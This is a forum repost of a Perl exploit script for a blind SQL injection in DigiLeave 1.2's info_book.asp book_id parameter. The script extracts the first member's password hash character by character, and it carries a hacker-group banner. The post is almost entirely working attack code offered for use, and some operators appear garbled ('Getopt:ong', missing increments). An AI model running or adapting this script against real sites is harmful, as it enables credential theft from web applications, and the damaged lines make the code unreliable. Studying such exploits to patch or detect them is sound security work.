• 设为首页
  • 收藏本站
  • 积分充值
  • VIP赞助
  • 手机版
  • 微博
  • 微信
    微信公众号 添加方式:
    1:搜索微信号(888888
    2:扫描左侧二维码
  • 快捷导航
    福建二哥 门户 查看主题

    DigiLeave 1.2 (info_book.asp book_id) Blind SQL Injection Exploit

    发布者: 汤9760 | 发布时间: 2025-6-28 22:49| 查看数: 92| 评论数: 0|帖子模式

    #!/usr/bin/perl
    use LWP::UserAgent;
    use Getopt:ong;
    if(!$ARGV[1])
    {
      print "                                                                \n";
      print "   #################### Viva IslaMe Viva IslaMe ################\n";
      print "   #   DigiLeave V1.2Blind SQL Injection Exploit               #\n";
      print "   #                                  (info_book.asp book_id ) #\n";
      print "   #   Author: Mr.SQL                                          #\n";
      print "   #   EMAIL : SQL@HOTMAIL.IT                                  #\n";
      print "   #                                                           #\n";
      print "   #                -((:: GrE3E3E3E3E3ETZ :)-                #\n";
      print "   #                                                           #\n";
      print "   #   HaCkEr_EGy :: His0k4 :: Dark MaSTer :: MoHaMaD AL 3rab  #\n";
      print "   #                :: ALwHeD :: milw0rm ::                    #\n";
      print "   #                                                           #\n";
      print "   #              <<>>   MuSliMs HaCkErS   <<>>                #\n";
      print "   #                                                           #\n";
      print "   #   PRODUCT SITE: http://www.digiappz.com #\n";
      print "   #                                                           #\n";
      print "   #   HOME:    WwW.PaL-HaCkEr.CoM                             #\n";
      print "   #                                                           #\n";
      print "   #   Usage  : perl test.pl host                              #\n";
      print "   #   Example: perl test.pl www.host.com / -d 10              #\n";
      print "   #   Options:                                                #\n";
      print "   #     -d    valid book_id  value                            #\n";
      print "   #############################################################\n";
      exit;
    }
    my $host     = $ARGV[0];
    my $book_id  = $ARGV[2];
    my %options = ();
    GetOptions(\%options, "u=i", "p=s", "d=i");
    print "[~] Exploiting...\n";
    if($options{"b"})
    {
      $book_id = $options{"b"};
    }
    syswrite(STDOUT, "[~] MD5-Hash: ", 14);
    for(my $i = 1; $i <= 32; $i  )
    {
      my $f = 0;
      my $h = 48;
      while(!$f && $h <= 57)
      {
        if(istrue2($host, $book_id, $i, $h))
        {
          $f = 1;
          syswrite(STDOUT, chr($h), 1);
        }
        $h  ;
      }
      if(!$f)
      {
        $h = 97;
        while(!$f && $h <= 122)
        {
          if(istrue2($host, $book_id, $i, $h))
          {
            $f = 1;
            syswrite(STDOUT, chr($h), 1);
          }
          $h  ;
        }
      }
    }
    print "\n[~] Exploiting done\n";
    sub istrue2
    {
      my $host    = shift;
      my $book_id = shift;
      my $i       = shift;
      my $h       = shift;  my $ua = LWP::UserAgent->new;
      my $query = "http://".$host."info_book.asp?book_id=".$book_id." and (SUBSTRING((SELECT member_password FROM members LIMIT 0,1),".$i.",1))=CHAR(".$h.")";  if($options{"p"})
      {
        $ua->proxy('http', "http://".$options{"p"});
      }  my $resp    = $ua->get($query);
      my $content = $resp->content;
      my $regexp  = "tourterms.pdf";  if($content =~ /$regexp/)
      {
        return 1;
      }
      else
      {
        return 0;
      }
    }


    来源:https://www.jb51.net/hack/5715.html
    免责声明:如果侵犯了您的权益,请联系站长,我们会及时删除侵权内容,谢谢合作!

    最新评论

    QQ Archiver 手机版 小黑屋 福建二哥 ( 闽ICP备2022004717号|闽公网安备35052402000345号 )

    Powered by Discuz! X3.5 © 2001-2023

    快速回复 返回顶部 返回列表